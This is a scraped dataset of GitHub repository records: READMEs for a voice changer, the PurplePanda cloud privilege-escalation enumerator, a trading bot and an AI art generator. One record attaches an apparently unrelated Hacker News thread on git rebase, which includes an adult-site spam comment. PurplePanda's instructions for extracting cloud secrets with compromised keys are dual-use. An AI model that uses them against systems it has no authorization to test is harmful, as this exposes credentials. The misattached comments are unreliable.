configuration file, please be sure to understand the function of each option before modifying.\n* \"keyword\" and \"keymap\" After these two options are modified, execute update to take effect.\n* There is no special requirement, no need to modify the configuration file, just keep the default.\n\n## LICENSE\n\nGPL", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "symphonly/figaro", "link": "https://github.com/symphonly/figaro", "tags": ["voice", "voice-chat", "voice-changer", "discord", "python", "pyaudio", "figaro", "teamspeak", "voice-filters", "virtual", "microphone", "audio", "sound", "roadmap", "cli", "sound-effects"], "stars": 512, "description": "Real-time voice-changer for voice-chat, etc. Will support many different voice-filters and features in the future. \ud83c\udfb5", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\">\n  <img alt=\"Figaro\" src=\"media/figaro.png\" width=\"125\" height=\"125\" />\n</p>\n<h1 align=\"center\">Figaro</h1>\n<p align=\"center\">\n  <img alt=\"GitHub\" src=\"https://img.shields.io/github/license/MattMoony/figaro?style=for-the-badge\">\n  <img alt=\"GitHub top language\" src=\"https://img.shields.io/github/languages/top/MattMoony/figaro?style=for-the-badge\">\n  <img alt=\"GitHub Repo stars\" src=\"https://img.shields.io/github/stars/MattMoony/figaro?style=for-the-badge&color=cecece\">\n</p>\n\n---\n\n## About\n\nReal-time open-source voice modification program & sound board. Can be useful for many things, especially when used in combination with virtual sound i/o devices.\n\n![figaro collage](media/figaro-collage.png)\n\n![figaro demo](media/figaro-demo.gif)\n\n## Table of Contents\n\n- [About](#about)\n- [Table of Contents](#table-of-contents)\n- [Setup](#setup)\n  - [Development](#development)\n    - [Linux](#linux)\n    - [Mac](#mac)\n    - [Windows](#windows)\n    - [Manual Setup](#manual-setup)\n  - [Advanced setup](#advanced-setup)\n- [Usage](#usage)\n  - [CLI](#cli)\n  - [GUI](#gui)\n  - [Figaro-Script](#figaro-script)\n    - [General Syntax](#general-syntax)\n    - [Defining a Hotkey](#defining-a-hotkey)\n    - [Comments](#comments)\n    - [Builtins](#builtins)\n      - [Pause](#pause)\n- [Roadmap](#roadmap)\n- [References](#references)\n\n## Setup\n\nIf you're just looking to use *Figaro* and not work on it, then there's no reason to set up the development environment like described below, simply download the appropriate release for your platform from the [releases](https://github.com/MattMoony/figaro/releases) page and you're good to go!\n\n<div align=\"center\">\n  <a href=\"https://github.com/MattMoony/figaro/releases/download/v0.3-alpha/Figaro.Setup.0.3.0-alpha.exe\"><img src=\"media/download-windows.png\" height=\"75px\" /></a>\n  <a href=\"https://github.com/MattMoony/figaro/releases/download/v0.3-alpha/figaro-gui-0.3.0-alpha.tar.gz\"><img src=\"media/download-linux.png\" height=\"75px\" /></a>\n</div>\n\n### Development\n\nIf you're on `Linux`, `Windows` or `Mac`, then setting up should be easy! Simply run the appropriate setup script and it will guide you through the whole process.\n\n#### Linux\n\nMake `./setup.sh` executable ... (or run it with an appropriate interpreter) ...\n\n```bash\nchmod 755 ./setup.sh\n```\n\n... execute it: `./setup.sh` ... and have fun with `python figaro.py`!\n\n#### Mac\n\nThe same as the [Linux Setup](#linux), just use `./setup-mac.sh` instead of `./setup.sh`.\n\n#### Windows\n\nFirst, in order to allow the setup _powershell_ script to run, you need to execute the following command in an administrator powershell:\n\n```ps\nSet-ExecutionPolicy RemoteSigned\n```\n\n... afterwards, executing `.\\setup.ps1` will guide you through the whole setup process! You can now execute `python figaro.py`.\n\n#### Manual Setup\n\nFirst of all, for `Figaro` to be able to work with audio files other than `wav`, you need to download and install `ffmpeg` (see [References](#References) for the link to the official download page).\n\n- **Linux**: `pip install -r requirements-unix.txt`\n- **Mac**: `pip install -r requirements-unix.txt`\n- **Windows**: `pip install -r requirements-windows.txt`\n\n... if you're on **Windows** and you get an error when installing `PyAudio` try downloading a PIP wheel suitable for your Python version from the link provided in [References](#References).\n\nIf everything works out, you're good to go!\n\n### Advanced setup\n\nThe following steps will explain how to use this program with the commonly used voice-chat application `Discord` on Windows:\n\n1. Download and install a virtual audio input device (if you don't know any specific one, try the one mentioned in [References](#References)).\n2. When selecting an output device at the startup of `Figaro`, choose the virtual input device you just installed (e.g.: `CABLE Input`).\n3. In Discord, go to `User Settings > Voice & Video > Input Device` and select the virtual input device from the dropdown (e.g.: `CABLE Output`).\n4. There you go, your friends should only be able to hear your filtered voice now.\n\n## Usage\n\n### CLI\n\nCLI-Usage is explained [here](docs/cli.md).\n\n### GUI\n\nGUI-Usage is explained [here](docs/gui.md).\n\n### Figaro-Script\n\nYou can now also use figaro script (.fig) for defining hotkeys and their behaviour. Whether you want a sound effect to be played, or an attribute to be shown, it can all be bound to a certain keypress.\n\n#### General Syntax\n\nFigaro-Script was heavily inspired by [AutoHotkey](https://www.autohotkey.com/), so, if you are capable of defining hotkeys and their functionality with ahk-script, think of this as a very, very simplified version of that.\n\nBut, if you aren't aware of ahk, let me introduce you to the basic syntax very quickly:\n\nYour script, the .fig file, consists of multiple hotkey-definition blocks which tell Figaro which key combinations should result in what behaviour. Apart from that, you can also have comments, to make your script more readable and easier to understand for a future you.\n\n#### Defining a Hotkey\n\nIn order to define which keys make up your hotkey, you just need to write all of them in one line and end it with `::`. After this first line, you write all your commands and end the definition block with `return`. This could look something like the following:\n\n```text\n...\n\nq::\nstart sound tmp/asdf.mp3 2\nreturn\n\n...\n```\n\n... this hotkey would be triggered every time the `q` is pressed.\n\nCertain control keys need alternative symbols (this is equalivalent to ahk-script):\n\n* `alt` is represented by `!`\n* `ctrl` is represented by `^`\n* `shift` is represented by `+`\n\n... keep in mind that the definition of hotkeys is usually case insensitive, which means in order to, for example, only trigger the hotkey on an uppercase `Q`, you would need to use `+q::` as your definition.\n\n#### Comments\n\nThis is fairly easy to explain. If you have ever used a popular programming language such as C, C++, Java, etc. you already know how to use comments. The only thing to bear in mind is that so far, I have only implemented `single-line` comments.\n\nFor people who have never used such a programming language before, this is the correct syntax for comments in Figaro-Script:\n\n```text\n...\n\n// triggered by pressing `lower-case q`\n// will play the mp3 file \"tmp/asdf.mp3\" at 200% of the original volume ...\nq::\nstart sound tmp/asdf.mp3 2\nreturn\n\n...\n```\n\n#### Builtins\n\nDespite the CLI commands, certain builtin functions are also available to you (at the moment there aren't many, but I will at more should the need to do so arise):\n\n##### Pause\n\nYou can use this command in order play a sound effect, or do anything else for that matter, after waiting for a given amount of `milliseconds`. E.g.:\n\n```text\n...\nstart sound tmp/1.mp3\npause 3000\nstart sound tmp/2.mp3\n...\n```\n\n... this would play the sound effect `tmp/1.mp3`, wait for `3 seconds` and then play the next sound effect `tmp/2.mp3`.\n\n_More docs coming soon! Disclaimer: Some of the commands described above might still be removed or altered..._\n\n## Roadmap\n\nJust a small preview of what is about to come. It's very likely that this roadmap will continue to grow in the future, as I get more ideas or if somebody wants to contribute.\n\n* [x] [CLI](#cli)\n  * [x] I/O device selection\n  * [x] Live status (live audio graph in console)\n  * [x] Filter control\n  * [x] Sound effects (soundboard-like abilities)\n* [ ] [GUI](#gui)\n  * [x] I/O device selection\n  * [x] Live sound wave graph\n  * [x] Filter control\n  * [ ] Soundboard\n    * [x] Functionality\n    * [ ] Advanced features\n* [x] Filters\n  * [x] Volume\n  * [x] Pitch-Shift\n  * [x] \"Trippy\"-Filter\n  * [x] Echo\n  * [x] Noise\n  * [x] Crackle\n  * [x] Randomized\n* [ ] [Figaro-Script](#figaro-script)\n  * [x] Using CLI commands\n  * [x] Hotkeys\n  * [ ] Advanced builtins\n* [ ] Security\n  * [x] Remote Authentication\n  * [x] Encrypted sockets\n  * [ ] Fine-grained settings\n\n## References\n\n* Windows Virtual Sound I/O ... [vb-audio](https://www.vb-audio.com/Cable/)\n* PyAudio Windows Wheel ... [uci](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio)\n* FFmpeg download ... [ffmpeg.org](https://ffmpeg.org/download.html)\n* JWT minimum secret length ... [RFC 7518](https://tools.ietf.org/html/rfc7518#section-3.2)\n* JWT recommended secret length ... [Auth0](https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/)\n\n---\n\n... MattMoony (June 2021)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "carlospolop/PurplePanda", "link": "https://github.com/carlospolop/PurplePanda", "tags": ["cloud", "privesc", "gcp", "github", "kubernetes"], "stars": 512, "description": "Identify privilege escalation paths within and across different clouds", "lang": "Python", "repo_lang": "", "readme": "# PurplePanda\n![](https://github.com/carlospolop/PurplePanda/raw/master/images/logo.png)\n\nThis tool fetches resources from different cloud/saas applications focusing on permissions in order to **identify privilege escalation paths and dangerous permissions** in the cloud/saas configurations. Note that PurplePanda searches both **privileges escalation paths within a platform and across platforms**.\n\nThe name comes from the animal **Red Panda**. This panda eats peas, just like Purple Panda, which can ingest API keys/tokens found by these **[PEASS](https://github.com/carlospolop/PEASS-ng)**. The color was changed to purple because this tool is meant mainly for **Purple Teams** (because it can be **highly useful for both Blue and Red Teams**).\n\n## How to use\nEach folder inside `/intel` defines one platform that can be enumerated and **contains a README.md file explaining how to use that specific module**.\n\nDownload **[Neo4jDesktop](https://neo4j.com/download-center/#desktop)** and create a database. Then **export the env variables `PURPLEPANDA_NEO4J_URL` and `PURPLEPANDA_PWD`** with the URL to the neo4j database and the password.\n\nIf you want **shodan** to be used with public IPs discovered during the enumeration **export a env variable called *SHODAN_KEY* with a valid api key of shodan**.\n\nThen just install and launch the program indicating the platforms you want to enumerate comma separated like.\n\n### Local install\n```bash\ngit clone https://github.com/carlospolop/PurplePanda\ncd PurplePanda\npython3 -m venv .\nsource bin/activate\npython3 -m pip install -r requirements.txt\nexport PURPLEPANDA_NEO4J_URL=\"bolt://neo4j@localhost:7687\"\nexport PURPLEPANDA_PWD=\"neo4j_pwd_4_purplepanda\"\npython3 main.py -h # Get help\npython3 main.py -e -p google,github,k8s --github-only-org --k8s-get-secret-values --gcp-get-secret-values # Enumerate google, github and k8s\n```\n\n### Docker\n```bash\n# Consider adding the API keys in the Dockerfile\ndocker rm -f purplepanda\ndocker build --tag=purplepanda .\n# Execute -h\n## CHange -h for the params you want to run purplepanda with\ndocker run -t \\\n    -e PURPLEPANDA_NEO4J_URL=\"bolt://neo4j@host.docker.internal:7687\" \\\n    -e PURPLEPANDA_PWD=\"s3cr3t\" \\\n    -e GOOGLE_DISCOVERY=... \\\n    -e GITHUB_DISCOVERY=... \\\n    -e K8S_DISCOVERY=... \\\n    -e CONCOURSE_DISCOVERY=... \\\n    -e CIRCLECI_DISCOVERY=... \\\n    purplepanda python3 main.py -h\n\n## -t is needed to see the output properly\n## If you are using Neo4Desktop to connec to the DB use the domain host.docker.internal\n## You might need to use the option '-v' to mount files with configurations\n```\n\nPurplePanda has **2 analysis modes**:\n- `-e` (*enumerate*): This is the **main one**, it will try to gather data and analyze it.\n- `-a` (*analyze*): This will perform a **quick analysis of the provided credentials**.\n\n### Video tutorial\nCheck how to use and inspect the data gathered by PurplePanda:\n\n[![Tutorial](https://img.youtube.com/vi/zl5NdvoWHX4/0.jpg)](https://www.youtube.com/watch?v=zl5NdvoWHX4)\n\n### For Blue/Purple Teams\n\nUse credentials for each platform with at least **admin read access to all the resources** of the platform. This will help you to see exactly the **privesc paths** that can be abused within your configurations in each platform and across\n\n### For Red Teams\n\nPurplePanda is also **designed to be used by Red Teams**. In general, cloud/saas platforms **won't give everyone access to read** the configuration of the platform, that's why PurplePanda supports the **use of several keys for the same platform**, in order to try to enumerate everything with all the keys you compromised and have the most accurate view of the configuration of the platform.\n\n## Supported platforms\n- **Google Cloud Platform (GCP)**: To understand how GCP security works and how to abuse roles and permissions **read https://book.hacktricks.xyz/cloud-security/gcp-security**\n- **Github**: To understand how Github security works and how to bypass branch protections, steal secrets, privesc... **read https://book.hacktricks.xyz/cloud-security/github-security**\n- **Kubernetes (K8s)**: To understand how Kubernetes RBAC security works and how to abuse roles, privesc to other clouds... **read https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes**\n\n\n## How to use the data\n**Use the `-d` parameter** indicating a directory. Then, **PurplePanda will write in this directory several interesting analysis** in `csv` format of the information obtained from all the platforms. The recommendation is to **find interesting and unexpected things in those files** and then move to **analyze those interesting cases with the graphs**.\n\nEach folder inside `/intel` defines one platform that can be enumerated and **contains a README.md file explaining how to use that specific module**. Moreover, each folder also contains a `HOW_TO_USE.md` file and a `QUERIES.md` file. \n\nIn the `HOW_TO_USE.md` file you can find the **best queries to perform an investigation on how to escalate privileges** (*for Purple, Blue, and Red Teams*).\n\nIn the `QUERIES.md` file you will find **all proposed queries** to investigate the data easier.\n\n### How to visualize the data in graphs\nFollow the instructions indicated in **[VISUALIZE_GRAPHS.md](https://github.com/carlospolop/PurplePanda/blob/master/VISUALIZE_GRAPHS.md)**\n\n## How to Contribute\n\nIn the **root folder and in each folder inside `intel/`** you will find a **`TODO.md` file**. You can find in those files how you can help. Just **send a PR with the addition**.\n\n**PRs with fixes** are also welcome :)\n\nMoreover, if you have **other ideas** that aren't in those TODO files feel free to send a PR.\n\n\nBy Carlos Polop<sup>TM</sup>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Febase/FeBase", "link": "https://github.com/Febase/FeBase", "tags": [], "stars": 512, "description": "FeBase \uc640 \ud568\uaed8\ud558\ub294 Frontend \ud558\ub098\uc529 \ubc30\uc6cc\uac00\uba74 \ub298\uc5b4\ub098\ub294 CS\uc9c0\uc2dd \uc624\ud018\uc774!", "lang": "Python", "repo_lang": "", "readme": "import pathlib\nfrom lib.header import Header\nfrom lib.rmd import Rmd\n# from lib.logger import Logger\n# from lib.gitlog import Gitlog\n\nroot_path = pathlib.Path(__file__).parent.resolve()\n\n\ndef start_update():\n    md_paths = root_path.glob('*/*.md')\n    # gitlog = Gitlog(root_path)\n    toc_data = {}\n    for file_path in md_paths:\n        fp = file_path.open()\n        header = Header(fp)\n        header.set_header(['title', 'author', 'date', 'category'])\n        header_data = header.get_header()\n        path = str(file_path.relative_to(root_path))\n        url = \"https://github.com/Febase/FeBase/blob/master/{}\".format(path)\n        category = header_data['category'].upper()\n        item = {\n            \"path\": path,\n            \"url\": url,\n            \"header\": header_data\n        }\n        if category in toc_data:\n            toc_data[category].append(item)\n        else:\n            toc_data[category] = [item]\n    #     logger.update(header_data, url, path)\n    #     gitlog.check_status()\n    # logger.save(log_path)\n    return toc_data\n\n\ndef rewrite_readme(toc_data):\n    readme = root_path / 'README.md'\n    rmd = Rmd(readme)\n    rmd.update_toc(toc_data)\n    rmd.rewrite()\n\n\nif __name__ == \"__main__\":\n    # log_path = root_path / '.log/readme_log.json'\n    # logger = Logger()\n    # logger.load(log_path)\n    toc_data = start_update()\n    rewrite_readme(toc_data)\n", "readme_type": "text", "hn_comments": "No idea how git rebase, productivity, and layoffs could be related at all. Curious, though.<HN_SEP>It\u2019s a metric of people looking to improve at git. So maybe either an indication more people are looking to get into the field, or that people are looking to improve their productivity. Or maybe it\u2019s part of some cert people are after.<HN_SEP>Hello everyone, I have some wise advice that will help you if you want to unwind and have a nice time. For instance, https://grantubodesexo.com/ is perfect for a night out because it allows you to let off steam while having fun. I think you should have a look.<HN_SEP>\"Within a converged timeline there are two timelines of events, so to create a new non-converged timeline you have to go back to the point in time where those timelines converged and add every event in the converged timelines in order in the new timeline.If things don't really work and a conflict emerges you, as the master of time, have to decide the right data to put into the new timeline\"Hope it helps you breathe more easily :)<HN_SEP>I'm the opposite and think rebasing is easier, but I am biased obviously since I have only used rebasing to solve merge conflicts.There are a couple ways of performing a git rebase, namely* git rebase* git rebase interactive (git rebase -i)* git rebase --ontoI think following these videos may help and will explain it better than I can.What is Git Rebase? [Intermediate Git Tutorial] - https://www.youtube.com/watch?v=_UZEXUrj-DsSquashing Git commits with Interactive Rebase -https://www.youtube.com/watch?v=7IfkL8swmFwHow to undo git rebase using git reflog. - https://www.youtube.com/watch?v=qP4i3S2hujc&t=203s<HN_SEP>It's not. Just spend some time thinking about it not as a command to execute, but rather as an operation on a data structure you're working with (which is your repository) and it will click.<HN_SEP>Git is a good idea with a poor execution and naming<HN_SEP>Git appears to be a tool to manage merges using deltas. Git is actually a tool that simply stores everything in the current commit, and makes a nice graph showing Connections between those commits which theoretically represent deltas.All trouble arises when this abstraction breaks. It seems to me that the purpose of git merge is to simply allow you to work around broken abstractions. You can make the graph appear how you want, without having to jump through a bazillion unnecessary hoops to make a nice set of deltas.Or... I'm wrong and about to find out after hitting \"add comment\"<HN_SEP>Everything Git is kind of hard to understand, but once it \"clicks\", you kinda start thinking it was easy all along.My suggestion is: before every rebase:- mkdir patches- cd patches- git format-patch HEAD~30 (in case you had 30 commits on top of the main branch but you can also \"git format-patch $SHA\" to get patches up to that SHA, not including)- git pull --rebaseThen, if the rebase fails:- git checkout -b branchname-rebaseattempt origin/branch- make- git am 0001*- make- git am 0002*- git am --abort- etcThis way you have a backup copy of every one of your commits as a patch file, and you can better understand and fix your conflict step-by-step without being \"locked\" in the process of a git-rebase. Sometimes when there are simple conflicts I edit the patch files themselves before applying.<HN_SEP>How the hell is it mysterious?  It is just cherry-picking the commits then setting the branch pointer.  Merge is the evil one because you can hide any changes you like in the commit.<HN_SEP>I was waiting for \u201eGitlab releases a UI for rebase -i in MRs\u201c.<HN_SEP>Years ago I really liked rebase, now I never use it. I don't know why, though, one of those mysteries of the brain.<HN_SEP>Been using git for 10 years now, never rebased, never had an issue.<HN_SEP>Rebase has become so integral to my workflow, it's hard to imagine living without it. I intentionally avoid merge commits, including configuring git pull to rebase rather than merge. I find it so much easier to commit a bunch of tiny iterations while doing local testing, rebase and squash them, then post them for review. As a bonus, I frequently push after each of those small commits to a feature branch so I don't have to worry about losing work if my drive dies.<HN_SEP>Easily the most underutilized and poorly understood part of the typical git workflow<HN_SEP>I don't know if Christian would go this far, but I actually put this into my ~/.gitconfig so that I'm always rebasing[pull]rebase = trueedited for line spacing<HN_SEP>In my personal experience rebase made ISO9000/AS9000 gatekeepers twitchy. Even to the extent that they'd tell the Overlords \"Do everything in Perforce, or else\".And then the Overlords shut down all the VCSs because \"this isn't a software company\". Then everyone sneaks around using weird homebrew portable tracking widgets, or, more often, just gives up.Is rebase handy? Oh yeah.<HN_SEP>I love rebase. It allows for a Draft PR workflow where you can have your WIP out in the open for a big project, and then clean it all up via rebasing right before asking for reviews. Just don't rewrite history on master. :^)<HN_SEP>Every PR we have in GitHub is merged with a squash, so I'm kinda missing the value proposition here. Is it really crucial for each commit to be a nice clean unit of work?<HN_SEP>Git is in general a terrible tool: I\u2019ve always thought of it as a shining example of where \u201cworse is better\u201d ought to have been applied. Rebasing is one of its worst features. For non-trivial changes, anyway, it is often just a way to add complexity and messiness to what should be a simple workflow. And the benefits aren\u2019t at all as clear as its advocates contend.<HN_SEP>If I've already reviewed a PR and the author makes further changes, I definitely prefer to review an add-on commit. If the history is rewritten/rebased, then IME the entire PR needs to be re-reviewed from scratch. If we're talking about a <10 line change, then, by all means, rebase to your heart's content. With anything more complicated than that, rebasing a branch that's already been looked at can be disruptive and I'd strongly recommend against it (though squash-and-merge after review is fantastic).<HN_SEP>The one thing I'd like to do is to insert a commit between two commits, then edit this and then make a modification.Currently I create a text file, add this, then move this up to where I need to insert it and edit this commit.<HN_SEP>Keeping your commits as separate units of change, and leveraging rebase/ff-only is worth is simply so you can do stuff like the following.    git revert $(git rev-list COMMIT43^..COMMIT123 -- path/to/thing)\n\nI've been on teams where everyone _hates_ what a stickler I am about good VCS hygiene until they realize something that looks like it's going to be a big pain in the ass at first glance is doable with a one liner.<HN_SEP>I sometimes run into rebases where solving merge conflicts 3 times is hard. Replaying 3 commits for instance, where merge conflicts are present in each one. In the first I need to fix the merge conflict but remind myself that there are more commits following this that change this behavior.With a merge commit I am fixing the resulting work on both branches, which is easier than merging the in progress state in the current branch.<HN_SEP>Love rebasing, love merging, squash or no squash, it all depends on what I'm trying to communicate with my pushes.Just discovered the --rebase-merges option, worth exploring if you want to edit a commit under a merge commit, but don't want to mess up the merge commits.<HN_SEP>The following tip from OP could  be rather useful.  git rebase --exec 'make test' main\n\nThe --exec <command> flag allows you to run any shell command after each rebased commit, stopping if the shell command fails (which is signaled by a non zero exit code).<HN_SEP>I don't know if it's possible to write an article like this and not just be preaching to the choir; ignored by the flock that's already decided it doesn't like it.<HN_SEP>Rebasing is merging multiple commits to one commit right? Basically you commit your small changes to your local master branch and at some point you merge them to one commit and push them to master repo?<HN_SEP>No rebase tutorial is complete without the --onto option, which lets you essentially transplant a series of commits to a completely different branch.Very useful when you've created a branch(A) based on another branch(B), which in turn was based on master, but in the meantime master had a few commits added, so while it's trivial to rebase B with master, rebasing A with an updated B won't work.<HN_SEP>Rules I would have everyone follow if I was a dictator:1. 1 PR, 1 commit.2. 1 PR cannot have more than 50 lines of product code added. Any number of lines can be removed. You can have up to 100 lines of test code.3. Every PR should include a set of tests for the added/changed functionality. They must pass.4. Git merge is forbidden. Everyone must rebase.5. Every PR goes into master. Nobody can push to master. You can create as many feature branches you like, but definition of done is that your code is available on master.6. Identify relevant existing test cases and make sure they are passing.7. Master must always be in a state that it can be deployed instantly.<HN_SEP>A lot of people have hate for rebase, but I've always LOVED it. I've always had way less issues with it than merge. Whenever I do a feature I work in a feature branch then just rebase it with the target branch (main) before submitting the PR and it is a really painless workflow I've used for years.<HN_SEP>On Mac, I prefer Gitup, a free and open source GUI which makes rebases (and a bunch of other git operations) much easier: https://github.com/git-up/GitUp<HN_SEP>A much more in-depth, advanced, and more valuable imo, article on the same topic https://medium.com/@porteneuve/getting-solid-at-git-rebase-v...<HN_SEP>irony is that my team use gitlab and we have auto squash before merge, avoiding manual rebasing<HN_SEP>I would recommend not doing anything complicated such as git rebase and just add more commits, patches (git diff / apply), or merges until your code works. If the number of commits is large, it doesn\u2019t really matter. Optimizing for a pretty looking git history is probably the most foolish thing to focus on.If you are doing anything that involves rewriting the history you are doing it wrong.<HN_SEP>Rebase is something that I see a lot of developers shy away from but it is usually the right way to get a feature branch re-aligned.My practice is to rebase all my pending PRs each morning to make sure that the prior day's activity is coalesced.If you wait weeks and weeks to do the first rebase for a big change set, you can wind up visiting the same files and conflicts way more times than is logical. In my experience, this results in a much greater chance of screwing something up along the way, further reinforcing for some developers that the rebase is bad.Timely rebase is the answer.<HN_SEP>--fixup has been incredibly useful for my rebase workflows.<HN_SEP>Anyone who has experienced rebasing a PR on github knows how much it hurts the review process.<HN_SEP>Thanks for posting! We just adopted rebase for our docs repo, so this was a timely article for me. I do really like the clean commit history, but I also haven't experienced any of the downsides yet.<HN_SEP>I think squash is what most workflows and teams actually want. Rebase doesn\u2019t scale well with the team size and merge makes rollbacks somewhat unwieldy and history messy.<HN_SEP>I say just merge it in and stop worrying about it so much.<HN_SEP>Squash + Merge is better for the vast majority of developers who put garbage commit messages in their feature branches.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "kieran-mackle/AutoTrader", "link": "https://github.com/kieran-mackle/AutoTrader", "tags": ["algorithmic-trading", "algo-trading", "forex", "crypto", "stocks", "finance", "investing", "trading", "trading-strategies", "trading-bot", "trading-platform", "oanda", "trading-algorithms", "python", "quantitative-finance", "quantitative-trading", "technical-analysis", "autotrader"], "stars": 512, "description": "A Python-based development platform for automated trading systems - from backtesting to optimisation to livetrading. ", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\">\n  <a href=\"https://kieran-mackle.github.io/AutoTrader/\">\n    <img src=\"https://user-images.githubusercontent.com/60687606/132320916-23445f43-dfdc-4949-9881-e18f622605d2.png\" alt=\"AutoTrader Logo\" width=\"15%\" >\n  </a>\n</p>\n\n<h1 align=\"center\">AutoTrader</h1>\n\n<p align=\"center\">\n  <a href=\"https://pypi.org/project/autotrader\">\n    <img src=\"https://img.shields.io/pypi/v/autotrader.svg?color=blue&style=plastic\" alt=\"Latest version\" width=95 height=20>\n  </a>\n  \n  <a href=\"https://pepy.tech/project/autotrader\">\n    <img src=\"https://pepy.tech/badge/autotrader\" alt=\"Total downloads\" >\n  </a>\n  \n  <a href=\"https://pepy.tech/project/autotrader\">\n    <img src=\"https://pepy.tech/badge/autotrader/month\" alt=\"Monthly downloads\" >\n  </a>\n  \n  <a>\n    <img src=\"https://github.com/kieran-mackle/AutoTrader/actions/workflows/tests.yml/badge.svg\" alt=\"Build Status\" >\n  </a>\n  \n  <a href='https://autotrader.readthedocs.io/en/latest/?badge=latest'>\n    <img src='https://readthedocs.org/projects/autotrader/badge/?version=latest' alt='Documentation Status' />\n  </a>\n  \n  <a href=\"https://github.com/psf/black\">\n    <img alt=\"Code style: black\" src=\"https://img.shields.io/badge/code%20style-black-000000.svg\">\n  </a>\n  \n</p>\n\n\n\nAutoTrader is Python-based platform intended to help in the development, optimisation and deployment of automated trading systems. \nA basic level of experience with Python is recommended for using AutoTrader, but the [docs](https://autotrader.readthedocs.io/en/latest/) \naim to make using it as easy as possible with detailed tutorials and documentation.\n\n## Latest News\n- Version 0.7 has been released, adding integrations with [CCXT](https://github.com/ccxt/ccxt) and [dYdX](https://dydx.exchange/) crypto exchanges. Many more powerful upgrades too.\n- AutoTrader has been featured in GitClone's recent article, [*Top Crypto Trader Open-Source Projects on Github*](https://gitclone.dev/top-crypto-trader-open-source-projects-on-github/).\n\n## Features\n- A feature-rich trading simulator, supporting [backtesting](https://autotrader.readthedocs.io/en/latest/features/backtesting.html) and \npapertrading. The 'virtual broker' allows you to test your strategies in a risk-free, simulated environment before going live. Capable \nof simulating multiple order types, stop-losses and take-profits, cross-exchange arbitrage and portfolio strategies, AutoTrader has \nmore than enough to build a profitable trading system.\n- [Integrated data feeds](https://kieran-mackle.github.io/AutoTrader/tutorials/price-data), making OHLC data retrieval as easy as possible.\n- [Automated interactive visualisation](https://autotrader.readthedocs.io/en/latest/features/visualisation.html) using [Bokeh](https://bokeh.org/)\n- [Library of custom indicators](https://autotrader.readthedocs.io/en/latest/indicators.html).\n- [Live trading](https://autotrader.readthedocs.io/en/latest/features/live-trading.html) supported for multiple venues.\n- [Detailed documenation and tutorials](https://autotrader.readthedocs.io/en/latest/index.html)\n- [Repository](https://github.com/kieran-mackle/autotrader-demo) of example strategies\n\n## Supported Brokers and Exchanges\n\n| Broker | Asset classes | Integration status |\n| -------- | ------------- | ------------------ |\n| [Oanda](https://www.oanda.com/)    | Forex CFDs    | Complete |\n| [Interactive Brokers](https://www.interactivebrokers.com/en/home.php) | Many | In progress |\n| [dYdX](https://dydx.exchange/) | Cryptocurrencies | Complete |\n| [CCXT](https://github.com/ccxt/ccxt) | Cryptocurrencies | In progress |\n\n\n## Installation\nAutoTrader can be installed using pip:\n```\npip install autotrader\n```\n### Updating\nAutoTrader can be updated by appending the `--upgrade` flag to the install command:\n```\npip install autotrader --upgrade\n```\n\n## Documentation\nAutoTrader is very well documented in-code and on [Read the Docs](https://autotrader.readthedocs.io/en/latest/). There is also a [detailed walthrough](https://autotrader.readthedocs.io/en/latest/tutorials/walkthrough.html), covering everything from strategy concept to livetrading.\n\n### Example Strategies\nExample strategies can be found in the [demo repository](https://github.com/kieran-mackle/autotrader-demo).\n\n\n## Backtest Demo\nThe chart below is produced by a backtest of the MACD trend strategy documented in the \n[tutorials](https://autotrader.readthedocs.io/en/latest/tutorials/building-strategy.html) (and available in the \n[demo repository](https://github.com/kieran-mackle/autotrader-demo)). Entry signals are defined by MACD crossovers, with exit targets defined\nby a 1.5 risk-to-reward ratio. Stop-losses are automatically placed using the custom\n[swing detection](https://autotrader.readthedocs.io/en/latest/indicators.html#swing-detection) indicator, and position sizes are dynamically calculated based \non risk percentages defined in the strategy configuration.\n\nRunning this strategy with AutoTrader in backtest mode will produce the following interactive chart. \n\n[![MACD-backtest-demo](https://user-images.githubusercontent.com/60687606/128127659-bf81fdd2-c246-4cd1-b86d-ef624cac50a7.png)](https://autotrader.readthedocs.io/en/latest/tutorials/backtesting.html#interactive-chart)\n\nNote that stop loss and take profit levels are shown for each trade taken. This allows you to see how effective your exit strategy is - are you being stopped out too \nearly by placing your stop losses too tight? Are you missing out on otherwise profitable trades becuase your take profits are too far away? AutoTrader helps you \nvisualise your strategy and answer these questions.\n\n## Legal \n### License\nAutoTrader is licensed under the [GNU General Public License v3.0](https://www.gnu.org/licenses/gpl-3.0.en.html).\n\n### Disclaimer\nThis platform is currently under heavy development and should not be considered stable for livetrading until version 1.0.0 is released.\n\nNever risk money you cannot afford to lose. Always test your strategies on a paper trading account before taking it live.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "rbbrdckybk/ai-art-generator", "link": "https://github.com/rbbrdckybk/ai-art-generator", "tags": ["machine-learning", "vqgan-clip", "deep-learning", "image-generation", "clip-guided-diffusion", "generative-art", "stable-diffusion"], "stars": 512, "description": "For automating the creation of large batches of AI-generated artwork locally.", "lang": "Python", "repo_lang": "", "readme": "# 2022-09-28 Update:\nJust a note that I've launched [Dream Factory](https://github.com/rbbrdckybk/dream-factory), a significant upgrade to this. It's got an (optional) GUI, true simultaneous multi-GPU support, an integrated gallery with full EXIF metadata support, and many other new [features](https://github.com/rbbrdckybk/dream-factory#features). \n\nI dropped VQGAN and Disco Diffusion support to focus on Stable Diffusion, so if you want VQGAN and/or Disco Diffusion you should stick with this for now. Otherwise I encourage everyone to migrate to Dream Factory! I'll continue to patch bug fixes on this repo but I likely won't be adding new features going foward.\n\n# AI Art Generator\nFor automating the creation of large batches of AI-generated artwork locally. Put your GPU(s) to work cranking out AI-generated artwork 24/7 with the ability to automate large prompt queues combining user-selected subjects, styles/artists, and more! More info on which models are available after the sample pics.  \nSome example images that I've created via this process (these are cherry-picked and sharpened):  